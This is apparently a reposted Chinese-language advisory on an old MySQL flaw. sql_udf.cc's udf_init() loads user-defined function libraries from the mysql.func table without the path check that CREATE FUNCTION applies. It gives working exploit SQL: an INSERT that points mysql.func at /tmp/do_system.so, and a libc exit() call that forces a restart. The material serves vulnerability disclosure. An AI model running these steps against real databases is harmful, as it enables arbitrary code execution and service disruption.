MySQL是一款开放源代码数据库系统。
如果经过认证的用户对mysql管理数据库拥有INSERT和DELETE的权限的话,就可能使用任意目录下的函数库。
漏洞的起因是对sql_udf.cc中udf_init()函数的目录分隔符缺少检查。如果试图创建一个函数来加载任意目录中函数库时:
mysql> create function do_system returns integer soname
‘/tmp/do_system.so’;
ERROR 1124: No paths allowed for shared library
可见无法从任意目录加载函数库。
在sql_udf.cc中:
int mysql_create_function(THD *thd,udf_func *udf)
{
…..
/*
Ensure that the .dll doesn’t have a path
This is done to ensure that only approved dll from the system
directories are used (to make this even remotely secure).
*/
if (strchr(udf->dl, ‘/’))
{
send_error(&thd->net, ER_UDF_NO_PATHS,ER(ER_UDF_NO_PATHS));
DBUG_RETURN(1);
}
调用上述内容,检查函数库名称是否包含有“/”,因此无法从任意位置加载函数库。
下面是储存的函数信息:
mysql> describe mysql.func;
+——-+——————————+——+—–+———-+——-+
| Field | Type | Null | Key | Default | Extra |
+——-+——————————+——+—–+———-+——-+
| name | char(64) binary | | PRI | | |
| ret | tinyint(1) | | | 0 | |
| dl | char(128) | | | | |
| type | enum(‘function’,'aggregate’) | | | function | |
+——-+——————————+——+—–+———-+——-+
mysql.func表中保存了有关加载的和创建的函数的所有信息,且每次mysql重启时都会更新。通过这种方式就可以检索到所有之前所创建的函数。
上述步骤是通过sql_udf.cc中的调用实现的。
void udf_init()
{
….
这个调用读取mysql.func列表并重置所有之前已声明的和创建的函数,但事实上没有检查dl字段中是否包含“/”。
如果攻击者不使用CREATE FUNCTION而是使用INSERT INTO的话,就可在dl字段的共享库中放置名称。
INSERT INTO mysql.func (name,dl) VALUES
(‘do_system’,'/tmp/do_system.so’);
然后强迫mysql重启:
CREATE FUNCTION exit RETURNS INTEGER SONAME ‘libc.so.6′;
SELECT exit(0);
mysql重启时允许攻击者使用导入的函数,这样就会加载/tmp/do_system.so的共享库。
如果用户拥有File_Priv (SELECT …INTO OUTFILE)的话就可进行远程攻击。
--转自